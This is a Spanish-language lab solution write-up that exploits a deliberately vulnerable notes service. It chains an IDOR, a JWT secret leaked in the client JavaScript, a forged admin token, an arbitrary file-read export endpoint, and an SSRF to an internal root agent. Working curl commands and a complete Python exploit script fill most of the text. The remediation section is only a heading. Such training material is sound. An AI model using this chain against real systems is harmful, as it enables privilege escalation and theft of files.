BeriaBox Solución Volver al laboratorio →

Paper Trail · laboratorio 003 · media

El secreto estaba en el fichero que descargas.

Tres fallos encadenados que se ven cada semana en producción: un secreto de firma en el cliente, un token cuyo rol nadie comprueba contra la base y un servicio interno que se fía de cualquiera que llame desde 127.0.0.1.

En una línea. Descargas /static/app.js, lees el secreto con el que se firman los JWT, te forjas un token con role: admin, usas el exportador para leer la primera evidencia y el fetch del servidor para llegar al agente interno que corre como root.

1 · Reconocimiento

Clase del fallo: CVE-2026-18353 (Eclipse PIA, julio de 2026) — se valida una URL con un parser y se conecta con otro, con el token creyéndose su propio rol. Aquí el desajuste no es de parsers de URL, sino de confianza: el rol llega en un token que el servidor nunca contrasta con la base.

El panel escucha en http://<ip>:8080/. Se entra sin contraseña: POST /api/login con un nombre y devuelve un JWT.

curl -s -X POST -H 'Content-Type: application/json' \
     -d '{"user":"ana"}' http://<ip>:8080/api/login
{"token":"<jwt>","note":"bienvenido, ana"}

Y las notas no comprueban propiedad: cambiando el parámetro se leen las de cualquiera.

curl -s 'http://<ip>:8080/api/notes?user=luis'
{"user":"luis","notes":["el agente de copias escucha en 127.0.0.1:9090","cerrar sesión en el portátil"]}

Ese segundo mensaje es la pista de la última fase. Los IDOR así se detectan: no hay que romper nada, solo cambiar un número o un nombre.

2 · El secreto en el bundle

El cliente web se sirve desde el mismo servicio. El fichero que descarga tu navegador lleva dentro lo que nunca debería llevar: la clave con la que el servidor firma los tokens.

curl -s http://<ip>:8080/static/app.js | head -8
/* tokend · cliente de la web de notas */
const API = "/api";
const JWT_SECRET = "<el secreto que aparece aquí>";   <-- aquí

Con el secreto, cualquier token que firmes es válido. Y el servicio se cree el rol que venga dentro: no consulta la base para comprobar si ese usuario es administrador.

3 · Falsificar el token

import base64, hmac, hashlib, json, re, urllib.request

source = urllib.request.urlopen("http://<ip>:8080/static/app.js").read()
SECRET = re.search(rb'JWT_SECRET = "([^"]+)"', source).group(1)

b64 = lambda d: base64.urlsafe_b64encode(d).rstrip(b"=")
head = b64(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())
body = b64(json.dumps({"user":"ana","role":"admin"}, separators=(",",":")).encode())
mac  = b64(hmac.new(SECRET, head + b"." + body, hashlib.sha256).digest())
admin = (head + b"." + body + b"." + mac).decode()

Con ese token, el endpoint de exportación —que lee ficheros como el usuario del servicio— deja de estar cerrado:

curl -s -X POST http://<ip>:8080/api/export \
  -H "Authorization: Bearer $ADMIN" -H 'Content-Type: application/json' \
  -d '{"path":"/home/desk/flag.txt"}'
{"path":"/home/desk/flag.txt","content":"<flag de usuario>"}

4 · El agente interno

La segunda evidencia está en /root/root.txt, y el servicio corre como desk. No puede leerla… pero hay otro endpoint, /api/fetch, que hace la petición desde el servidor. Y el agente de copias escucha en 127.0.0.1:9090, como root, sin comprobar quién llama:

curl -s -X POST http://<ip>:8080/api/fetch \
  -H "Authorization: Bearer $ADMIN" -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1:9090/read?path=/root/root.txt"}'
{"url":"...","body":"<flag de root>"}

El puerto 9090 no está abierto al exterior: compruébalo con nc -vz <ip> 9090. Solo existe dentro de la máquina, que es justo lo que hace útil el SSRF.

5 · Todo junto

import base64, hashlib, hmac, json, re, urllib.request

IP = "<ip>"
def call(path, body=None, token=None):
    head = {"Content-Type": "application/json"}
    if token: head["Authorization"] = "Bearer " + token
    req = urllib.request.Request("http://%s:8080%s" % (IP, path),
                                 data=json.dumps(body).encode() if body else None,
                                 headers=head, method="POST" if body else "GET")
    return json.loads(urllib.request.urlopen(req, timeout=10).read())

source = urllib.request.urlopen("http://%s:8080/static/app.js" % IP).read()
SECRET = re.search(rb'JWT_SECRET = "([^"]+)"', source).group(1)
b64 = lambda d: base64.urlsafe_b64encode(d).rstrip(b"=")
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
b = b64(json.dumps({"user": "ana", "role": "admin"}, separators=(",", ":")).encode())
m = b64(hmac.new(SECRET, h + b"." + b, hashlib.sha256).digest())
admin = (h + b"." + b + b"." + m).decode()

print(call("/api/export", {"path": "/home/desk/flag.txt"}, admin)["content"])
print(call("/api/fetch", {"url": "http://127.0.0.1:9090/read?path=/root/root.txt"}, admin)["body"])

6 · Cómo se arregla